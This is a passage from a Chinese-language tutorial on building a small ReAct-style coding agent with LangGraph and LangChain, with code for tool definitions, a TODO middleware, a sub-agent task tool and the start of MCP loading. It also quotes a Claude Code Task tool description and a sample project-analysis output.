      // Define tools
      const add = tool(({ a, b }) => a + b, {
        name: "add",
        description: "Add two numbers",
        schema: z.object({
          a: z.number().describe("First number"),
          b: z.number().describe("Second number"),
        }),
      });

      const multiply = tool(({ a, b }) => a * b, {
        name: "multiply",
        description: "Multiply two numbers",
        schema: z.object({
          a: z.number().describe("First number"),
          b: z.number().describe("Second number"),
        }),
      });

      const divide = tool(({ a, b }) => a / b, {
        name: "divide",
        description: "Divide two numbers",
        schema: z.object({
          a: z.number().describe("First number"),
          b: z.number().describe("Second number"),
        }),
      });

      // Augment the LLM with tools
      const toolsByName = {
        [add.name]: add,
        [multiply.name]: multiply,
        [divide.name]: divide,
      };
      const tools = Object.values(toolsByName);
      const modelWithTools = model.bindTools(tools);
      ```

      ```typescript  theme={null}
      // Step 2: Define state

      import {
        StateGraph,
        StateSchema,
        MessagesValue,
        ReducedValue,
        GraphNode,
        ConditionalEdgeRouter,
        START,
        END,
      } from "@langchain/langgraph";
      import * as z from "zod";

      const MessagesState = new StateSchema({
        messages: MessagesValue,
        llmCalls: new ReducedValue(
          z.number().default(0),
          { reducer: (x, y) => x + y }
        ),
      });
      ```

      ```typescript  theme={null}
      // Step 3: Define model node

      import { SystemMessage, AIMessage, ToolMessage } from "@langchain/core/messages";

      const llmCall: GraphNode<typeof MessagesState> = async (state) => {
        return {
          messages: [await modelWithTools.invoke([
            new SystemMessage(
              "You are a helpful assistant tasked with performing arithmetic on a set of inputs."
            ),
            ...state.messages,
          ])],
          llmCalls: 1,
        };
      };

      // Step 4: Define tool node

      const toolNode: GraphNode<typeof MessagesState> = async (state) => {
        const lastMessage = state.messages.at(-1);

        if (lastMessage == null || !AIMessage.isInstance(lastMessage)) {
          return { messages: [] };
        }

        const result: ToolMessage[] = [];
        for (const toolCall of lastMessage.tool_calls ?? []) {
          const tool = toolsByName[toolCall.name];
          const observation = await tool.invoke(toolCall);
          result.push(observation);
        }

        return { messages: result };
      };
      ```

      ```typescript  theme={null}
      // Step 5: Define logic to determine whether to end
      import { ConditionalEdgeRouter, END } from "@langchain/langgraph";

      const shouldContinue: ConditionalEdgeRouter<typeof MessagesState, "toolNode"> = (state) => {
        const lastMessage = state.messages.at(-1);

        // Check if it's an AIMessage before accessing tool_calls
        if (!lastMessage || !AIMessage.isInstance(lastMessage)) {
          return END;
        }

        // If the LLM makes a tool call, then perform an action
        if (lastMessage.tool_calls?.length) {
          return "toolNode";
        }

        // Otherwise, we stop (reply to the user)
        return END;
      };
      ```

      ```typescript  theme={null}
      // Step 6: Build and compile the agent
      import { HumanMessage } from "@langchain/core/messages";
      import { StateGraph, START, END } from "@langchain/langgraph";

      const agent = new StateGraph(MessagesState)
        .addNode("llmCall", llmCall)
        .addNode("toolNode", toolNode)
        .addEdge(START, "llmCall")
        .addConditionalEdges("llmCall", shouldContinue, ["toolNode", END])
        .addEdge("toolNode", "llmCall")
        .compile();

      // Invoke
      const result = await agent.invoke({
        messages: [new HumanMessage("Add 3 and 4.")],
      });

      for (const message of result.messages) {
        console.log(`[${message.type}]: ${message.text}`);
      }
      ```
    </Accordion>
  </Tab>

  <Tab title="Use the Functional API">
    ## 1. Define tools and model

    In this example, we'll use the Claude Sonnet 4.5 model and define tools for addition, multiplication, and division.

    ```typescript  theme={null}
    import { ChatAnthropic } from "@langchain/anthropic";
    import { tool } from "@langchain/core/tools";
    import * as z from "zod";

    const model = new ChatAnthropic({
      model: "claude-sonnet-4-5-20250929",
      temperature: 0,
    });

    // Define tools
    const add = tool(({ a, b }) => a + b, {
      name: "add",
      description: "Add two numbers",
      schema: z.object({
        a: z.number().describe("First number"),
        b: z.number().describe("Second number"),
      }),
    });

    const multiply = tool(({ a, b }) => a * b, {
      name: "multiply",
      description: "Multiply two numbers",
      schema: z.object({
        a: z.number().describe("First number"),
        b: z.number().describe("Second number"),
      }),
    });

    const divide = tool(({ a, b }) => a / b, {
      name: "divide",
      description: "Divide two numbers",
      schema: z.object({
        a: z.number().describe("First number"),
        b: z.number().describe("Second number"),
      }),
    });

    // Augment the LLM with tools
    const toolsByName = {
      [add.name]: add,
      [multiply.name]: multiply,
      [divide.name]: divide,
    };
    const tools = Object.values(toolsByName);
    const modelWithTools = model.bindTools(tools);

    ```

    ## 2. Define model node

    The model node is used to call the LLM and decide whether to call a tool or not.

    ```typescript  theme={null}
    import { task, entrypoint } from "@langchain/langgraph";
    import { SystemMessage } from "@langchain/core/messages";

    const callLlm = task({ name: "callLlm" }, async (messages: BaseMessage[]) => {
      return modelWithTools.invoke([
        new SystemMessage(
          "You are a helpful assistant tasked with performing arithmetic on a set of inputs."
        ),
        ...messages,
      ]);
    });
    ```

    ## 3. Define tool node

    The tool node is used to call the tools and return the results.

    ```typescript  theme={null}
    import type { ToolCall } from "@langchain/core/messages/tool";

    const callTool = task({ name: "callTool" }, async (toolCall: ToolCall) => {
      const tool = toolsByName[toolCall.name];
      return tool.invoke(toolCall);
    });
    ```

    ## 4. Define agent

    ```typescript  theme={null}
    import { addMessages } from "@langchain/langgraph";
    import { type BaseMessage } from "@langchain/core/messages";

    const agent = entrypoint({ name: "agent" }, async (messages: BaseMessage[]) => {
      let modelResponse = await callLlm(messages);

      while (true) {
        if (!modelResponse.tool_calls?.length) {
          break;
        }

        // Execute tools
        const toolResults = await Promise.all(
          modelResponse.tool_calls.map((toolCall) => callTool(toolCall))
        );
        messages = addMessages(messages, [modelResponse, ...toolResults]);
        modelResponse = await callLlm(messages);
      }

      return messages;
    });

    // Invoke
    import { HumanMessage } from "@langchain/core/messages";

    const result = await agent.invoke([new HumanMessage("Add 3 and 4.")]);

    for (const message of result) {
      console.log(`[${message.getType()}]: ${message.text}`);
    }
    ```

    <Tip>
      To learn how to trace your agent with LangSmith, see the [LangSmith documentation](/langsmith/trace-with-langgraph).
    </Tip>

    Congratulations! You've built your first agent using the LangGraph Functional API.

    <Accordion title="Full code example" icon="code">
      ```typescript  theme={null}
      import { ChatAnthropic } from "@langchain/anthropic";
      import { tool } from "@langchain/core/tools";
      import {
        task,
        entrypoint,
        addMessages,
      } from "@langchain/langgraph";
      import {
        SystemMessage,
        HumanMessage,
        type BaseMessage,
      } from "@langchain/core/messages";
      import type { ToolCall } from "@langchain/core/messages/tool";
      import * as z from "zod";

      // Step 1: Define tools and model

      const model = new ChatAnthropic({
        model: "claude-sonnet-4-5-20250929",
        temperature: 0,
      });

      // Define tools
      const add = tool(({ a, b }) => a + b, {
        name: "add",
        description: "Add two numbers",
        schema: z.object({
          a: z.number().describe("First number"),
          b: z.number().describe("Second number"),
        }),
      });

      const multiply = tool(({ a, b }) => a * b, {
        name: "multiply",
        description: "Multiply two numbers",
        schema: z.object({
          a: z.number().describe("First number"),
          b: z.number().describe("Second number"),
        }),
      });

      const divide = tool(({ a, b }) => a / b, {
        name: "divide",
        description: "Divide two numbers",
        schema: z.object({
          a: z.number().describe("First number"),
          b: z.number().describe("Second number"),
        }),
      });

      // Augment the LLM with tools
      const toolsByName = {
        [add.name]: add,
        [multiply.name]: multiply,
        [divide.name]: divide,
      };
      const tools = Object.values(toolsByName);
      const modelWithTools = model.bindTools(tools);

      // Step 2: Define model node

      const callLlm = task({ name: "callLlm" }, async (messages: BaseMessage[]) => {
        return modelWithTools.invoke([
          new SystemMessage(
            "You are a helpful assistant tasked with performing arithmetic on a set of inputs."
          ),
          ...messages,
        ]);
      });

      // Step 3: Define tool node

      const callTool = task({ name: "callTool" }, async (toolCall: ToolCall) => {
        const tool = toolsByName[toolCall.name];
        return tool.invoke(toolCall);
      });

      // Step 4: Define agent

      const agent = entrypoint({ name: "agent" }, async (messages: BaseMessage[]) => {
        let modelResponse = await callLlm(messages);

        while (true) {
          if (!modelResponse.tool_calls?.length) {
            break;
          }

          // Execute tools
          const toolResults = await Promise.all(
            modelResponse.tool_calls.map((toolCall) => callTool(toolCall))
          );
          messages = addMessages(messages, [modelResponse, ...toolResults]);
          modelResponse = await callLlm(messages);
        }

        return messages;
      });

      // Invoke

      const result = await agent.invoke([new HumanMessage("Add 3 and 4.")]);

      for (const message of result) {
        console.log(`[${message.type}]: ${message.text}`);
      }
      ```
    </Accordion>
  </Tab>
</Tabs>

***

<Callout icon="edit">
  [Edit this page on GitHub](https://github.com/langchain-ai/docs/edit/main/src/oss/langgraph/quickstart.mdx) or [file an issue](https://github.com/langchain-ai/docs/issues/new/choose).
</Callout>

<Callout icon="terminal-2">
  [Connect these docs](/use-these-docs) to Claude, VSCode, and more via MCP for real-time answers.
</Callout>

2.2.2. 逻辑生成

同样让 Coding Agent 辅助生成代码

npm start "基于 1_langgraph/src/md/lang_graph_quick_start.md,在 1_langgraph/src/index.js 生成一个 ReAct 风格的 Coding Agent,注册 1_langgraph/src/tools 中的全部工具"

最终结果基于你所用的 Agent、模型会有差异。这里贴出我基于 claude-opus-4-6 生成同时证过的代码

import "dotenv/config";
import { ChatDeepSeek } from "@langchain/deepseek";
import {
  StateGraph,
  MessagesAnnotation,
  START,
  END,
} from "@langchain/langgraph";
import {
  SystemMessage,
  HumanMessage,
  AIMessage,
} from "@langchain/core/messages";
import allTools from "./tools/index.js";

// 项目根目录
const PROJECT_ROOT = process.cwd();

// ReAct Coding Agent 系统提示词
const SYSTEM_PROMPT = `---
PROJECT_ROOT: ${PROJECT_ROOT}
---

You are a ReAct-style coding agent. You have access to a set of tools for interacting with the filesystem and executing commands.

When given a task:
1. Think about what you need to do
2. Use the appropriate tool to gather information or make changes
3. Observe the result
4. Repeat until the task is complete
`;

// 构建 toolsByName 映射
const toolsByName = {};
for (const t of allTools) {
  toolsByName[t.name] = t;
}

// 将工具绑定到模型
const model = new ChatDeepSeek({
  model: "deepseek-chat",
  temperature: 0,
  maxTokens: 4096,
  apiKey: process.env.DEEPSEEK_API_KEY,
});
const modelWithTools = model.bindTools(allTools);

// Step 1: 模型节点 — 调用 LLM 决定是否使用工具
const llmCall = async (state) => {
  const response = await modelWithTools.invoke([
    new SystemMessage(SYSTEM_PROMPT),
    ...state.messages,
  ]);
  return { messages: [response] };
};

// Step 2: 工具节点 — 执行 LLM 请求的工具调用
const toolNode = async (state) => {
  const lastMessage = state.messages.at(-1);

  if (!lastMessage || !AIMessage.isInstance(lastMessage)) {
    return { messages: [] };
  }

  const results = [];
  for (const toolCall of lastMessage.tool_calls ?? []) {
    const tool = toolsByName[toolCall.name];
    if (!tool) {
      results.push({
        role: "tool",
        content: `Error: Unknown tool "${toolCall.name}"`,
        tool_call_id: toolCall.id,
      });
      continue;
    }
    const observation = await tool.invoke(toolCall);
    results.push(observation);
  }

  return { messages: results };
};

// Step 3: 条件路由 — 有 tool_calls 则继续,否则结束
const shouldContinue = (state) => {
  const lastMessage = state.messages.at(-1);

  if (!lastMessage || !AIMessage.isInstance(lastMessage)) {
    return END;
  }

  if (lastMessage.tool_calls?.length) {
    return "toolNode";
  }

  return END;
};

// Step 4: 构建并编译 StateGraph
const agent = new StateGraph(MessagesAnnotation)
  .addNode("llmCall", llmCall)
  .addNode("toolNode", toolNode)
  .addEdge(START, "llmCall")
  .addConditionalEdges("llmCall", shouldContinue, ["toolNode", END])
  .addEdge("toolNode", "llmCall")
  .compile();

// CLI 入口
const args = process.argv.slice(2);
if (args.length === 0) {
  console.log("请输入指令");
  process.exit(1);
}

const result = await agent.invoke(
  { messages: [new HumanMessage(args[0])] },
  { recursionLimit: 100 },
);

// 输出最后一条消息
const lastMsg = result.messages[result.messages.length - 1];
console.log(lastMsg.content);

看着一大堆,其实 ReAct 的核心逻辑只在 108~114 行的 Graph(图)构造和 21~31 行的 Prompt 部分

代码 Graph 图示 先前绘制的 ReAct 图示

用人话来说就是在调用 LLM 的时候和模型说「如果现有对话已经包含全部所需信息,那么你就输出结果,否则返回希望调用什么工具、获取什么信息」

2.2.3. 验证结果

工具 + ReAct 范式代码、Prompt 都已经完成,那么 mca 就可以直接运行了(记得在 package.json 中定义一下 script)

npm run start:langgraph "分析 1_langgraph 项目"
现在我已经对项目有了全面的了解。让我总结一下分析结果:

## 1_langgraph 项目分析报告

### 项目概述
这是一个基于 LangGraph 框架构建的 ReAct 风格编码代理项目。项目使用 LangGraph 的 StateGraph API 来创建一个能够执行文件系统操作和命令执行的智能代理。

### 项目结构
```
1_langgraph/
├── src/
│   ├── index.js              # 主入口文件,包含 LangGraph 代理实现
│   ├── tools/               # 工具模块
│   │   ├── index.js         # 工具导出文件
│   │   ├── bash.js          # bash 命令执行工具
│   │   ├── edit.js          # 文件编辑工具
│   │   ├── glob.js          # 文件模式匹配工具
│   │   ├── grep.js          # 文件内容搜索工具
│   │   ├── read.js          # 文件读取工具
│   │   └── write.js         # 文件写入工具
│   └── md/                  # 文档文件
│       ├── lang_graph_quick_start.md    # LangGraph 快速入门指南
│       ├── how_to_create_a_tool.md      # 工具创建指南
│       └── a_list_of_all_required_tools.md # 所需工具列表
```

### 核心技术栈
1. **LangGraph**: 用于构建有状态的代理工作流
2. **DeepSeek API**: 作为 LLM 模型提供者
3. **Zod**: 用于工具参数的模式验证
4. **Node.js**: 运行时环境

### 核心功能

#### 1. 代理架构
项目实现了经典的 ReAct (Reasoning + Acting) 模式:
- **LLM 节点**: 调用 DeepSeek 模型决定是否使用工具
- **工具节点**: 执行 LLM 请求的工具调用
- **条件路由**: 根据是否有工具调用决定继续执行还是结束

#### 2. 可用工具
项目提供了 6 个核心工具:

1. **bash**: 执行 shell 命令,支持工作目录持久化
2. **read**: 读取文件内容,支持行号显示和分页
3. **write**: 写入文件,用于创建新文件或完全重写
4. **edit**: 精确字符串替换编辑文件
5. **glob**: 文件模式匹配搜索
6. **grep**: 正则表达式文件内容搜索

#### 3. 状态管理
使用 LangGraph 的 `MessagesAnnotation` 来管理消息状态,支持多轮对话和工具调用。

### 运行方式
```bash
# 通过 npm 脚本运行
npm run start:langgraph -- "你的指令"

# 示例
npm run start:langgraph -- "列出当前目录下的文件"
```

### 环境配置
项目需要以下环境变量:
- `DEEPSEEK_API_KEY`: DeepSeek API 密钥
- `LANGSMITH_*`: LangSmith 追踪配置(可选)

### 设计特点

1. **模块化工具设计**: 每个工具都是独立的模块,易于扩展和维护
2. **错误处理**: 所有工具都有完善的错误处理机制
3. **安全性**: 工具参数使用 Zod 进行严格验证
4. **用户体验**: 提供清晰的错误信息和操作反馈
5. **可扩展性**: 可以轻松添加新的工具到系统中

### 与 0_deepagents 项目的对比
整个项目包含两个子项目:
1. **0_deepagents**: 使用 DeepAgents 框架实现的简单代理
2. **1_langgraph**: 使用 LangGraph 框架实现的更复杂的 ReAct 代理

主要区别:
- **0_deepagents**: 使用 DeepAgents 的 FilesystemBackend,更简单但功能有限
- **1_langgraph**: 使用 LangGraph 的 StateGraph,支持复杂的状态管理和条件路由

### 项目价值
这个项目展示了如何使用 LangGraph 构建一个实用的编码代理,具有以下价值:
1. **学习价值**: 展示了 LangGraph 的核心概念和最佳实践
2. **实用价值**: 可以直接用于自动化文件操作和代码维护
3. **扩展价值**: 提供了良好的架构基础,可以轻松添加新功能

### 改进建议
1. 可以考虑添加更多工具(如 git 操作、npm 脚本执行等)
2. 可以添加更详细的日志和追踪功能
3. 可以考虑添加用户配置选项
4. 可以优化错误信息的可读性

这个项目是一个很好的 LangGraph 实践示例,展示了如何构建一个功能完整的 ReAct 风格编码代理。

同 deepagents,一样可以在 LangSmith 中查看执行日志

3. ♾️ 分钟完善 Mini Coding Agent

DLC:优化 Coding Agent

基于上述流程,我们已经完成了一个「勉强能用」的 Coding Agent

  • 提供文件读写工具 ✅
  • LLM + Prompt + ReAct 范式 ✅

如果说我们实现的 mca 是下限,那么上限就是 Cladue Code、甚至 OpenClaw

要实现一个上限水平的 Coding Agent,可以说是不计成本没有止境的

比较典型的优化手段如下:

  • TODO 系统
  • 子任务
  • 允许自定义 MCP
  • 优化 Prompt
  • ...

我们可以继续深入,尝试接入这些优化方法

3.1. 优化前的准备:简化代码

首先基于上个章节的 tools ,重新启用一个新的子项目,这种方式创建的 Agent 「图(节点、边)」和上一章节里的除开写法以外没有任何区别,既不会像 deepagents 一样各种功能都有也不会有一堆胶水代码。非常利于我们接下来的各种优化

 mca
 ├── .env
 ├── 0_deepagents
 ├── 1_langgraph
+├── 2_agents
+│   └── src
+│       └── index.js
 └── package.json
// 2_agents/src/index.js

import "dotenv/config";
import { ChatDeepSeek } from "@langchain/deepseek";
import { createAgent } from "langchain";
import allTools from "../../1_langgraph/src/tools/index.js";

// 项目根目录
const PROJECT_ROOT = process.cwd();

// ReAct Coding Agent 系统提示词
const SYSTEM_PROMPT = `---
PROJECT_ROOT: ${PROJECT_ROOT}
---

You are a ReAct-style coding agent. You have access to a set of tools for interacting with the filesystem and executing commands.

When given a task:
1. Think about what you need to do
2. Use the appropriate tool to gather information or make changes
3. Observe the result
4. Repeat until the task is complete
`;

// 创建模型
const model = new ChatDeepSeek({
  model: "deepseek-chat",
  temperature: 0,
  maxTokens: 4096,
  apiKey: process.env.DEEPSEEK_API_KEY,
});

// 基于 LangChain createAgent 构建 Agent
const agent = createAgent({
  model,
  tools: allTools,
  systemPrompt: SYSTEM_PROMPT,
});

// CLI 入口
const args = process.argv.slice(2);
if (args.length === 0) {
  console.log("请输入指令");
  process.exit(1);
}

const result = await agent.invoke(
  {
    messages: [
      {
        role: "user",
        content: args[0],
      },
    ],
  },
  { recursionLimit: 100 },
);

// 输出最后一条消息
const lastMsg = result.messages[result.messages.length - 1];
console.log(lastMsg.content);

3.2. TODO 系统

在之前的 deepagents 执行日志中,可以观察到 TODO 相关逻辑(如果没有可以尝试执行一个比较复杂的任务,或者给任务加上必须用 TODO 工具的要求)

工具 说明
WRITE_TODO 即时更新已完成的 To-do 项,要求添加或更新未来的 To-do 项,「确保」 Agent 按照正确的顺序和步骤执行任务,同时也避免跳过步骤。

TODO 工具其实非常容易实现,可以理解为工具就是直接透传返回输入,每次对于 TODO 的更新都是全量的。

image.png 同时也不会有所谓的 READ_TODO 工具,原因是 WRITE_TODO 本身就是一次模型对话中的 TOOL_CALL,所以完整的入参(这也是不单独更新某一项的好处),其实就等于输出

底层逻辑是定期在对话中插入 TODO 结构文本,用于提高模型的注意力避免模型过于发散

这里我们直接用现成的 LangChain TODO 中间件即可,无需单独实现一个工具

// 2_agents/src/index.js

import "dotenv/config";
import { ChatDeepSeek } from "@langchain/deepseek";
+ import { createAgent, todoListMiddleware } from "langchain";
import allTools from "../../1_langgraph/src/tools/index.js";

// 项目根目录
const PROJECT_ROOT = process.cwd();

// ReAct Coding Agent 系统提示词
const SYSTEM_PROMPT = `---
PROJECT_ROOT: ${PROJECT_ROOT}
---

You are a ReAct-style coding agent. You have access to a set of tools for interacting with the filesystem and executing commands.

When given a task:
1. Think about what you need to do
2. Use the appropriate tool to gather information or make changes
3. Observe the result
4. Repeat until the task is complete
`;

// 创建模型
const model = new ChatDeepSeek({
  model: "deepseek-chat",
  temperature: 0,
  maxTokens: 4096,
  apiKey: process.env.DEEPSEEK_API_KEY,
});

// 基于 LangChain createAgent 构建 Agent
const agent = createAgent({
  model,
  tools: allTools,
  systemPrompt: SYSTEM_PROMPT,
+ middleware: [todoListMiddleware()],
});

// CLI 入口
const args = process.argv.slice(2);
if (args.length === 0) {
  console.log("请输入指令");
  process.exit(1);
}


const result = await agent.invoke(
  {
    messages: [
      {
        role: "user",
        content: args[0],
      },
    ],
  },
  { recursionLimit: 100 },
);

// 输出最后一条消息
const lastMsg = result.messages[result.messages.length - 1];
console.log(lastMsg.content);

3.3. 子任务


子任务其实就是一个独立上下文、基本同主任务一致的一次对话任务

使用子任务最大的好处是可以单独处理复杂的子任务而不消耗额外的主链路上下文

按通常实现,把子任务(Sub Agent)当成一个工具用即可

出入参、使用逻辑同样可以参考 Claude

Task
Tool name: Task

```ts
type AgentInput = {
  description: string;
  prompt: string;
  subagent_type: string;
  model?: "sonnet" | "opus" | "haiku";
  resume?: string;
  run_in_background?: boolean;
  max_turns?: number;
  name?: string;
  team_name?: string;
  mode?: "acceptEdits" | "bypassPermissions" | "default" | "dontAsk" | "plan";
  isolation?: "worktree";
}
```

Launches a new agent to handle complex, multi-step tasks autonomously.

## Task

Launch a new agent to handle complex, multi-step tasks autonomously.

The Task tool launches specialized agents (subprocesses) that autonomously handle complex tasks. Each agent type has specific capabilities and tools available to it.

Available agent types and the tools they have access to:
- general-purpose: General-purpose agent for researching complex questions, searching for code, and executing multi-step tasks. When you are searching for a keyword or file and are not confident that you will find the right match in the first few tries use this agent to perform the search for you. (Tools: *)
- statusline-setup: Use this agent to configure the user's Claude Code status line setting. (Tools: Read, Edit)
- Explore: Fast agent specialized for exploring codebases. Use this when you need to quickly find files by patterns (eg. "src/components/**/*.tsx"), search code for keywords (eg. "API endpoints"), or answer questions about the codebase (eg. "how do API endpoints work?"). When calling this agent, specify the desired thoroughness level: "quick" for basic searches, "medium" for moderate exploration, or "very thorough" for comprehensive analysis across multiple locations and naming conventions. (Tools: All tools except Task, ExitPlanMode, Edit, Write, NotebookEdit)
- Plan: Software architect agent for designing implementation plans. Use this when you need to plan the implementation strategy for a task. Returns step-by-step plans, identifies critical files, and considers architectural trade-offs. (Tools: All tools except Task, ExitPlanMode, Edit, Write, NotebookEdit)

When using the Task tool, you must specify a subagent_type parameter to select which agent type to use.

When NOT to use the Task tool:
- If you want to read a specific file path, use the Read or Glob tool instead of the Task tool, to find the match more quickly
- If you are searching for a specific class definition like "class Foo", use the Glob tool instead, to find the match more quickly
- If you are searching for code within a specific file or set of 2-3 files, use the Read tool instead of the Task tool, to find the match more quickly
- Other tasks that are not related to the agent descriptions above


Usage notes:
- Always include a short description (3-5 words) summarizing what the agent will do
- Launch multiple agents concurrently whenever possible, to maximize performance; to do that, use a single message with multiple tool uses
- When the agent is done, it will return a single message back to you. The result returned by the agent is not visible to the user. To show the user the result, you should send a text message back to the user with a concise summary of the result.
- You can optionally run agents in the background using the run_in_background parameter. When an agent runs in the background, you will be automatically notified when it completes — do NOT sleep, poll, or proactively check on its progress. Continue with other work or respond to the user instead.
- **Foreground vs background**: Use foreground (default) when you need the agent's results before you can proceed — e.g., research agents whose findings inform your next steps. Use background when you have genuinely independent work to do in parallel.
- Agents can be resumed using the `resume` parameter by passing the agent ID from a previous invocation. When resumed, the agent continues with its full previous context preserved. When NOT resuming, each invocation starts fresh and you should provide a detailed task description with all necessary context.
- When the agent is done, it will return a single message back to you along with its agent ID. You can use this ID to resume the agent later if needed for follow-up work.
- Provide clear, detailed prompts so the agent can work autonomously and return exactly the information you need.
- Agents with "access to current context" can see the full conversation history before the tool call. When using these agents, you can write concise prompts that reference earlier context (e.g., "investigate the error discussed above") instead of repeating information. The agent will receive all prior messages and understand the context.
- The agent's outputs should generally be trusted
- Clearly tell the agent whether you expect it to write code or just to do research (search, file reads, web fetches, etc.), since it is not aware of the user's intent
- If the agent description mentions that it should be used proactively, then you should try your best to use it without the user having to ask for it first. Use your judgement.
- If the user specifies that they want you to run agents "in parallel", you MUST send a single message with multiple Task tool use content blocks. For example, if you need to launch both a build-validator agent and a test-runner agent in parallel, send a single message with both tool calls.
- You can optionally set `isolation: "worktree"` to run the agent in a temporary git worktree, giving it an isolated copy of the repository. The worktree is automatically cleaned up if the agent makes no changes; if changes are made, the worktree path and branch are returned in the result.

Example usage:

<example_agent_descriptions>
"test-runner": use this agent after you are done writing code to run tests
"greeting-responder": use this agent to respond to user greetings with a friendly joke
</example_agent_descriptions>

<example>
user: "Please write a function that checks if a number is prime"
assistant: Sure let me write a function that checks if a number is prime
assistant: First let me use the Write tool to write a function that checks if a number is prime
assistant: I'm going to use the Write tool to write the following code:
<code>
function isPrime(n) {
  if (n <= 1) return false
  for (let i = 2; i * i <= n; i++) {
    if (n % i === 0) return false
  }
  return true
}
</code>
<commentary>
Since a significant piece of code was written and the task was completed, now use the test-runner agent to run the tests
</commentary>
assistant: Now let me use the test-runner agent to run the tests
assistant: Uses the Task tool to launch the test-runner agent
</example>

<example>
user: "Hello"
<commentary>
Since the user is greeting, use the greeting-responder agent to respond with a friendly joke
</commentary>
assistant: "I'm going to use the Task tool to launch the greeting-responder agent"
</example>

{
  "$schema": "https://json-schema.org/draft/2020-12/schema",
  "type": "object",
  "properties": {
    "description": {
      "description": "A short (3-5 word) description of the task",
      "type": "string"
    },
    "prompt": {
      "description": "The task for the agent to perform",
      "type": "string"
    },
    "subagent_type": {
      "description": "The type of specialized agent to use for this task",
      "type": "string"
    },
    "model": {
      "description": "Optional model to use for this agent. If not specified, inherits from parent. Prefer haiku for quick, straightforward tasks to minimize cost and latency.",
      "type": "string",
      "enum": [
        "sonnet",
        "opus",
        "haiku"
      ]
    },
    "resume": {
      "description": "Optional agent ID to resume from. If provided, the agent will continue from the previous execution transcript.",
      "type": "string"
    },
    "run_in_background": {
      "description": "Set to true to run this agent in the background. The tool result will include an output_file path - use Read tool or Bash tail to check on output.",
      "type": "boolean"
    },
    "max_turns": {
      "description": "Maximum number of agentic turns (API round-trips) before stopping. Used internally for warmup.",
      "type": "integer",
      "exclusiveMinimum": 0,
      "maximum": 9007199254740991
    },
    "isolation": {
      "description": "Isolation mode. "worktree" creates a temporary git worktree so the agent works on an isolated copy of the repo.",
      "type": "string",
      "enum": [
        "worktree"
      ]
    }
  },
  "required": [
    "description",
    "prompt",
    "subagent_type"
  ],
  "additionalProperties": false
}

---

可以和之前一样让 CodingAgent 根据当前信息生成,不过这里为了便于理解使用一个简化的 Task Tool

// 2_agents/src/tools/task.js

import "dotenv/config";
import { ChatDeepSeek } from "@langchain/deepseek";
import { createAgent, todoListMiddleware } from "langchain";
import allTools from "../../../1_langgraph/src/tools/index.js";
import { tool } from "@langchain/core/tools";
import { z } from "zod";

// 项目根目录
const PROJECT_ROOT = process.cwd();

// ReAct Coding Agent 系统提示词
const SYSTEM_PROMPT = `---
PROJECT_ROOT: ${PROJECT_ROOT}
---

When given a task:
1. Think about what you need to do
2. Use the appropriate tool to gather information or make changes
3. Observe the result
4. Repeat until the task is complete
`;


// 创建模型
const model = new ChatDeepSeek({
    model: "deepseek-chat",
    temperature: 0,
    maxTokens: 4096,
    apiKey: process.env.DEEPSEEK_API_KEY,
});

export const taskTool = tool(
    async ({ input, systemPrompt }) => {
        const agent = createAgent({
            model,
            tools: allTools,
            systemPrompt: SYSTEM_PROMPT + "\n" + systemPrompt,
            middleware: [todoListMiddleware()],
        });
        const result = await agent.invoke(
            {
                messages: [
                    {
                        role: "user",
                        content: input,
                    },
                ],
            },
            { recursionLimit: 100 },
        );

        const lastMsg = result.messages[result.messages.length - 1];
        if (typeof lastMsg.content === "string") {
            return lastMsg.content;
        }
        return JSON.stringify(lastMsg.content, null, 2);
    },
    {
        name: "task",
        description:
            "Launches a new agent to handle complex, multi-step coding tasks autonomously. The input must include the task goal, all currently known relevant file paths and/or code snippets, any prior analysis results or summaries, plus key constraints (tech stack, style, do/don't rules, performance or security requirements) so the sub agent can work in a single shot with full context.",
        schema: z.object({
            input: z
                .string()
                .describe(
                    "Task description with full context for the sub agent. Include: (1) the user's goal and what needs to be done, (2) relevant file paths, modules, and/or code snippets, (3) any prior analysis results, summaries, or discovered facts that could help, and (4) important constraints such as tech stack, coding style, do/don't rules, and performance/security requirements.",
                ),
            systemPrompt: z
                .string()
                .describe(
                    "The system prompt to be used for the sub agent. This should include all relevant context for the sub agent to work with.",
                ),
        }),
    },
);
// 2_agents/src/index.js

import "dotenv/config";
import { ChatDeepSeek } from "@langchain/deepseek";
import { createAgent, todoListMiddleware } from "langchain";
import allTools from "../../1_langgraph/src/tools/index.js";
+ import { taskTool } from "./tools/task.js";

// 项目根目录
const PROJECT_ROOT = process.cwd();

// ReAct Coding Agent 系统提示词
const SYSTEM_PROMPT = `---
PROJECT_ROOT: ${PROJECT_ROOT}
---

You are a ReAct-style coding agent. You have access to a set of tools for interacting with the filesystem and executing commands.

When given a task:
1. Think about what you need to do
2. Use the appropriate tool to gather information or make changes
3. Observe the result
4. Repeat until the task is complete
`;

// 创建模型
const model = new ChatDeepSeek({
  model: "deepseek-chat",
  temperature: 0,
  maxTokens: 4096,
  apiKey: process.env.DEEPSEEK_API_KEY,
});

+ const tools = [...allTools, taskTool];

// 基于 LangChain createAgent 构建 Agent
const agent = createAgent({
  model,
+ tools,
  systemPrompt: SYSTEM_PROMPT,
  middleware: [todoListMiddleware()],
});

// CLI 入口
const args = process.argv.slice(2);
if (args.length === 0) {
  console.log("请输入指令");
  process.exit(1);
}


const result = await agent.invoke(
  {
    messages: [
      {
        role: "user",
        content: args[0],
      },
    ],
  },
  { recursionLimit: 100 },
);

// 输出最后一条消息
const lastMsg = result.messages[result.messages.length - 1];
console.log(lastMsg.content);

根据其工具的入参、描述,注册到工具中之后主任务自然会在恰当的时间来调用

3.4. 自定义 MCP

一个合格 Coding Agent 当然也会允许用户自定义 MCP

MCP 本质就是工具调用,我们只需要按指定格式加载配置文件,再用对应 SDK 吧其加载成工具即可

相关文档:docs.langchain.com/oss/javascr…

// 2_agents/src/index.js

import "dotenv/config";
import { ChatDeepSeek } from "@langchain/deepseek";
import { createAgent, todoListMiddleware } from "langchain";
import allTools from "../../1_langgraph/src/tools/index.js";
import { taskTool } from "./tools/task.js";
+ import { MultiServerMCPClient } from "@langchain/mcp-adapters";
+ import mcpConfig from "../mcp.json" assert { type: "json" };

// 项目根目录
const PROJECT_ROOT = process.cwd();

// ReAct Coding Agent 系统提示词
const SYSTEM_PROMPT = `---
PROJECT_ROOT: ${PROJECT_ROOT}
---

You are a ReAct-style coding agent. You have access to a set of tools for interacting with the filesystem and executing commands.

When given a task:
1. Think about what you need to do
2. Use the appropriate tool to gather information or make changes
3. Observe the result
4. Repeat until the task is complete
`;

// 创建模型
const model = new ChatDeepSeek({
  model: "deepseek-chat",
  temperature: 0,
  maxTokens: 4096,
